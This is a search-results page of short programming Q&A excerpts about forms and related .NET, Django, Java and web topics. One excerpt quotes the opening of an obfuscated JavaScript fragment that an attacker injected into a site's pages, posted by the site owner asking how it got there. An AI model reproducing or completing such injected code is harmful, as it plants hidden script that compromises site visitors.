Search Results

Search found 6055 results on 243 pages for 'forms'.

Page 184/243 | < Previous Page | 180 181 182 183 184 185 186 187 188 189 190 191  | Next Page >

  • No-argument method on window.external is invoked when checking with typeof

    - by janko
    Hi, I am trying to display an HTML page with embedded JavaScript code inside a System.Windows.Forms.WebBrowser control. The JavaScript code is expected to interact with the embedding environment through the window.external object. Before invoking a method on window.external, JavaScript is supposed to check for the existance of the method. If it is not there, the code should invoke a generic fallback method. // basic idea if (typeof(window.external.MyMethod) != 'undefined') { window.external.MyMethod(args); } else { window.external.Generic("MyMethod", args); } However, checking for a no-argument method with typeof seems to invoke the method already. That is, if MyMethod accepts any positive number of arguments, the code above will work perfectly; but, if MyMethod is a no-argument method, then the expression typeof(window.external.MyMethod) will not check for its type but invoke it, too. Is there any work-around to this behavior? Can I somehow escape the expression window.external.MyMethod to prevent the method call from occurring?

    Read the article

  • Dynamic form creation from XSD in ASP.NET

    - by CitadelCSAlum
    I know there is a lot of documentation on the internet as far as XSD to forms, but I have not been able to come across one that is straight forward enough for my situation. I am working with a WCF web service that is going to fetch and .xsd xml schema, and must return the HTML of a form based on the .xsd xml schema. Is there any third party tools that can help out with this, if so what are they? If not, do you have any suggestions,better methods,etc for how this can be done?

    Read the article

  • Losing scope for DataContex using LINQToSQL intermediately

    - by greektreat
    I am having a weird Situation with my DataConext. All My code is in C# I have a DLL project for my data access layer and business Layer which and Winforms project for my UI layer. My Data access Layer's Namespace is xxx.Data this is where have my xxx.dbml I also have xxx.Data.BusinessObjects name space of course for my business object in that project In my UI Layer I have these namespaces xxxApp(for Forms), xxxApp.Controls (For Controls) I have lost scope of the DataContext, it was accessible now when I do a Rebuild Solution I sometimes get compile errors saying for example: Error 34 'xxx.Data.xxxDataContext' does not contain a definition for 'SubmitChanges' and no extension method 'SubmitChanges' accepting a first argument of type 'xxx.Data.xxxDataContext' could be found (are you missing a using directive or an assembly reference?) Also intelisense doesn't recognize the methods and table classes from my xxxDataContext anymore I can access all object fine when I am in the DLL project but now in the Winforms project this is very strange. If anyone can help me out I would be extremely grateful!

    Read the article

  • Chunks of javascript added to webpages on server

    - by SteD
    I've found out that my web pages (mainly index.php, main.html, include.inc) have been injected with a chunk of javascript codes at the very bottom after my original code. <script>try {this.l="";var d=window[unescape("%75%6e%65%73%63%61%70%65")];var M;if(M!='' && M!='a'){M='bt'};var A="";var Mc=new String();var e=null;this.k="";var t;if(t!='' && t!='iX'){t=''};var K=window[d("%52%65%67%45%78%70")];var p=d("%72%65%70%6c%61%63%65");function C(H,Z){var N=d("%5b" Is it possible for SQL injections to add the chunk of js code to the webpages(like 50 of them are infected)? Or is it a virus on the server itself? I am using Drupal + Ubercart with quite minimal forms inputs.

    Read the article

  • Adding more namespace in the code file affects performace ?

    - by Harikrishna
    If we imports more namespace in the code file(cs file) then it affects on perfomance ? Like we should add namespace in the cs file as needed. That is adding more namespace in the cs file affects performance ? Like using System; using System.Data.Sql; using System.Collections.Generic; using System.Data; using System.IO; using System.Linq; using System.Text.RegularExpressions; using System.Windows.Forms; using System.Xml; using System.Data.SqlClient; using System.ComponentModel;

    Read the article

  • Reading file data during form's clean method

    - by Dominic Rodger
    So, I'm working on implementing the answer to my previous question. Here's my model: class Talk(models.Model): title = models.CharField(max_length=200) mp3 = models.FileField(upload_to = u'talks/', max_length=200) Here's my form: class TalkForm(forms.ModelForm): def clean(self): super(TalkForm, self).clean() cleaned_data = self.cleaned_data if u'mp3' in self.files: from mutagen.mp3 import MP3 if hasattr(self.files['mp3'], 'temporary_file_path'): audio = MP3(self.files['mp3'].temporary_file_path()) else: # What goes here? audio = None # setting to None for now ... return cleaned_data class Meta: model = Talk Mutagen needs file-like objects - the first case (where the uploaded file is larger than the size of file handled in memory) works fine, but I don't know how to handle InMemoryUploadedFile that I get otherwise. I've tried: # TypeError (coercing to Unicode: need string or buffer, InMemoryUploadedFile found) audio = MP3(self.files['mp3']) # TypeError (coercing to Unicode: need string or buffer, cStringIO.StringO found) audio = MP3(self.files['mp3'].file) # Hangs seemingly indefinitely audio = MP3(self.files['mp3'].file.read()) Is there something wrong with mutagen, or am I doing it wrong?

    Read the article

  • How do you optimize database performance when providing results for autocomplete/iterative search?

    - by Howiecamp
    Note: In this question I'm using the term "autocomplete" (or "iterative search") to refer to returning search-as-you-type results, e.g. like Google Search gives you. Also my question is not specific to web applications vs. fat client apps. How are SQL SELECT queries normally constructed to provide decent performance for this type of query, especially over arbitrarily large data sets? In the case where the search will only query based on the first n characters (easiest case) am I still issuing a new SELECT result FROM sometable WHERE entry LIKE... on each keypress. Even with various forms of caching this seems like it might result in poor performance. In cases where you want your search string to return results with prefix matches, substring matches, etc. it's an even more difficult problem. Looking at a case of searching a list of contacts, you might return results that match FirstName + LastName, LastName + FirstName, or any other substring.

    Read the article

  • Showing custom model validation exceptions in the Django admin site.

    - by Guy Bowden
    I have a booking model that needs to check if the item being booked out is available. I would like to have the logic behind figuring out if the item is available centralised so that no matter where I save the instance this code validates that it can be saved. At the moment I have this code in a custom save function of my model class: def save(self): if self.is_available(): # my custom check availability function super(MyObj, self).save() else: # this is the bit I'm stuck with.. raise forms.ValidationError('Item already booked for those dates') This works fine - the error is raised if the item is unavailable, and my item is not saved. I can capture the exception from my front end form code, but what about the Django admin site? How can I get my exception to be displayed like any other validation error in the admin site?

    Read the article

  • Alternatives libraries for loading PNG images

    - by Robert
    My java J2SE application is reading a lot of (png) images from the web and some of them use features such as a transparency color for true-color images (tRNS section) that Sun's/Oracle's PNGImageReader implementation simply ignores. Therefore the common solution for loading via ImageIO.read(...); does not work for me as it relies on this incomplete PNGImageReader implementation. Does anybody know a png reader implementation that can read all forms of PNG images correctly - those with color table or true-color and alpha transparency or transparent color? As it is for a GPL project it should be a non-commercial one that can be included without licensing problems into the app. Edit: My be this question was too specific. Therefore let be redesign my question: Who knows alternative implementations and libraries that are able to load PNG files? I will then test the implementations for their capabilities to load some test png images. Edit2: The end result have to be a BufferedImage

    Read the article

  • What technology to use for a RIA

    - by user297159
    I have to develop a online business software solution (similar to ERP) for a company to manage the information exchange for internal use and with external partners. It should be online. What technology should I use, I have checked framewroks like: Flex, Silverlight, Google/GWT, sencha (ExtJS), jQuery, DoJo, Telereik, Infrajistics and others similar. But they seam to be very low level programming. May be this is advantage for other projects, where you need more flexibility, but this project is stright forward. I need something more focused on business software (tables, forms, processes) where and eventually more efficient with less coding, or something I can save time. Is force.com an option? But I can not install this on the customer's servers... Do you have any ideas for me for a web based framework focused on business applications?

    Read the article

  • Automated browsing with javascript?

    - by Paul Wicks
    I'm trying to do some browser automation, but I'm having some problems. Basically, what I'd like to do is load a set pages, set some forms options, click a button and view the results for each page that I open. Originally, I tried to do this by placing the pages I wanted to automate in iframes and then using javascript to drive the interactions I want in each, but that results in a Permissions Error, since the sites I want to automate are not on my server. Is there any way around this? The other possibility I've thought of is to use QT's webkit class and the evaluateJavaScript method to accomplish what I'd like to do, but this seems a bit more heavy weight for something that is, conceptually, pretty simple.

    Read the article

  • Process.WaitForExit not triggering with __debugbreak

    - by Cypher2100
    I'm trying to write a program to test student code against a good implementation. I have a C++ console app that will run one test at a time determined by the command line args and a C# .net forms app that calls the c++ app once for each test. The goal is to be able to detect not just pass/fail for each test, but also "infinite" (5secs) loop and exceptions (their code dying for whatever reason). The problem is that not all errors kill the C++ app. If they corrupt the heap the system calls __debugbreak which pops up a window saying Debug Error! HEAP CORRUPTION DETECTED... My C# app is using Process.WaitForExit(5000) to wait, but this error doesn't count as an exit, so I see a timeout. So my question is, how can I either get the C# app to detect that this is an error OR how can I get the C++ app to die when this error occurs rather than giving a dialog box and asking if I want to debug?

    Read the article

  • ASP.NET Website or Web service?

    - by fireBand
    Hi, I am trying to implement a service to download a image file. The code does nothing but upload a file to the response with each client request. There are no SOAP messages involved but I am planning to implement it as ASP.NET web service. It can also be implement as ASP.NET website but since it has no view (forms, html etc) I planned to implement a web-service. Is this a better approach? Does ASP.NET Website offer better performance that a Web-service? Which one would be better is this situation? Thanks in advance.

    Read the article

  • Using static strings to define input field names in JSPs - good idea or not?

    - by Derek Clarkson
    Hi all, I've just be asked to work on a large portal project and have been looking through the established code. I keep finding this in the jsps: <input class="portlet-form-button" name="<%=ModifyUserProfile.FORM_FIRST_TIME_LOGIN_SUBMIT%>" type="submit" ... The authors are using static strings defined in classes to define the names of input fields and buttons in jsp forms. I've never seen this done before and was wondering if this is common practice. I'm inclined to think not, but I'm asking because, apart from centralising names which I would have thought are not likely to change, I can't see the reason why. Any thoughts on this?

    Read the article

  • Running Services.msc as a different User C#

    - by Simon Mark Smith
    Hi, I have a requirement to create a simple windows forms application that allows an admin user to manage the Services on remote servers. We don't want to give the admins the usernames and passwords to the servers so these will be encrypted and stored in a database. My question is whether or not it is possible to spawn a Services.msc window when impersonating one of the users stored within the database? I have looked at the ProcessStartInfo class but because Services.msc is not an executable it does not seem to like executing this. Any ideas on a simple way of doing the actual impersonation and loading of Services.msc - say off a button click? Thanks

    Read the article

  • Why I sould not develop an opensource runtime UI Autogeneration from domain objects?

    - by Marco Bettiolo
    I'm using for my projects a rather complete UI auto-generation tool from database entities for windows forms and asp.net I wrote. Now I've built a working prototype UI auto-generation tool from domain objects. Right now it is in early stage of development and by reflection it generates user interface for creating and updating domain objects. I searched a bit and I didn't find other opensource projects that have the same goal. Why? This type of tool is not useful? Is this idea fundamentally flawed? Thanks.

    Read the article

  • mysql inserts & updates optimized

    - by user271619
    This is an optimization question, mostly. I have many forms on my sites that do simple Inserts and Updates. (Nothing complicated) But, several of the form's input fields are not necessary and may be left empty. (again, nothing complicated) However, my SQL query will have all columns in the Statement. My question, is it best to optimize the Inserts/Update queries appropriately? And only apply the columns that are changed into the query? We all hear that we shouldn't use the "SELECT *" query, unless it's absolutely needed for displaying all columns. But what about Inserts & Updates? Hope this makes sense. I'm sure any amount of optimization is acceptable. But I never really hear about this, specifically, from anyone.

    Read the article

  • jQuery: how to pick unique IDs ?

    - by Seerumi
    Hello. New to whole this jQuery (and javascript altogether, heh) and so far it's been excellent, but now I'm in a small pickle. Let's say I have list of forms generated from SQL database and every single one of them has to have unique id, so how I can select the specific item that is to be manipulated (changing values via php). the $("#submit").click(function()) will trigger every submit buttons on the page, so how I can the #submit to be some random id that I clicked. There might be a smarter way, but I'm new to this so try to bear with me. thought of passing the unique value with onClick="myfunction(unique_id)", but don't know how it goes with jQuery. hope this made any sense

    Read the article

  • how to close a windows form in c# when that form transfer control to an other form?

    - by moon
    i have encountered a problem in my application i have two windows forms one that is loaded when my application is started and ask for a password and other is shown when click log in with correct password , problem is how can i close the first form that is log in form when user proceed to next from that is actual application, currently i hide the first form but the requirement is to close that form to prevent extra processing when i close that log in form my application is closed and when i close the actual application form that log in form remain open. my application is not fully closed, log in form is running in background how can in fix this....

    Read the article

  • Safari - showing expired .NET Page

    - by Hidayath
    We have a strange problem in Safari. When the user logs out of our Web Application we expire the forms authentication with the following FormsAuthentication.SignOut(); Session.Abandon(); This works fine in IE and Firefox (when the user hits the back button they are presented with a page expired message and are forced to login) but in Safari the last page the user was working on shows up. I tried many of the suggested thinks like setting the Response.Expires but nothing helps , Has anyone faced this problem ? Do u have any suggestion / workarounds ? Thanks

    Read the article

  • handling Javascript actions in PDF with Java

    - by Stroboskop
    I'm trying to make PDF forms (aka AcroForms) editable in Java. So far i got the GUI editing and printing working using Bruno Lowagie's iText and Sun's pdf-renderer. But now i'm close to scrapping it all, because after switching from try & error to reading the PDF specification, i realized that it's all worthless unless i can make the multitude of possible JavaScript actions work as well. I don't think iText can do that. So in short: are there any Java libraries that do proper form handling including actions? Or maybe even a Java GUI component to edit form data?

    Read the article

  • Visual Studio Error: An item with the same key has already been added

    - by PaN1C_Showt1Me
    When I'm trying to change the default Image of a Control on Windows Forms in Form Designer (no matter where on which control) I get this error: Error message: An item with the same key has already been added I tried to delete and recreate the Resources.resx file.. I assured that only 1 resx file with these keys exist.. (in fact that's my only resource file) but it still does not work. I have som strings in it and some images. That's all. Any idea?

    Read the article

  • how to model editing of multiple related resources on the same webpage?

    - by amikazmi
    Lets say we have a Company model, that has many Employees And has many Projects If we want to show the projects, we'll go to "/company/1/projects/index" If we want to edit 1 project, we'll go to "/company/1/projects/1/edit" What if we want to edit all the projects at once on the same webpage? We can go to "/company/1/edit" and put a nested forms for all the projects But what if we need a different webpage to edit all the employees at once too? We can't use "/company/1/edit" again.. Right now we do "/company/1/projects/multiedit", "/company/1/projects/multupdate"- but as you can see, it's not rest. How can we model this restfully?

    Read the article

  • jQuery - how to pass $(this) as an object?

    - by regan
    Hello! I'm trying to pass an object into a function but think there's a problem with $(this) not actually being valid at the point of passing it in. $('textarea#quote').live('bind',function(){ }).limit('10',$(this).parents('form').children().find('span#qc') ); The second parameter can be either a string or an object like $('span#qc'), but I also want to be able to pass in an object which references the current one. Why? Because I have several forms on same page, each containing textarea#quote, so depending on which form is selected I want to be able to reference a particular element within the same form. Anyone??

    Read the article

  • How to initiate an uninstall of a ClickOnce app, from within the app?

    - by dwolvin
    Can I reliably initiate the un-installation of a ClickOnce app, from within the app? In other words, I want to give the user a big "Uninstall Me Now" button on one of the forms. When a user clicks the button, I want to start the windows uninstall process for this app, and perhaps close the app. Reason: We are dead-ending a ClickOnce app and want to make it as easy to remove as it was to install. We don't want to send them down the path to "Add or Remove Programs" and risk them getting lost or distracted. Can this be done reliably?

    Read the article

< Previous Page | 180 181 182 183 184 185 186 187 188 189 190 191  | Next Page >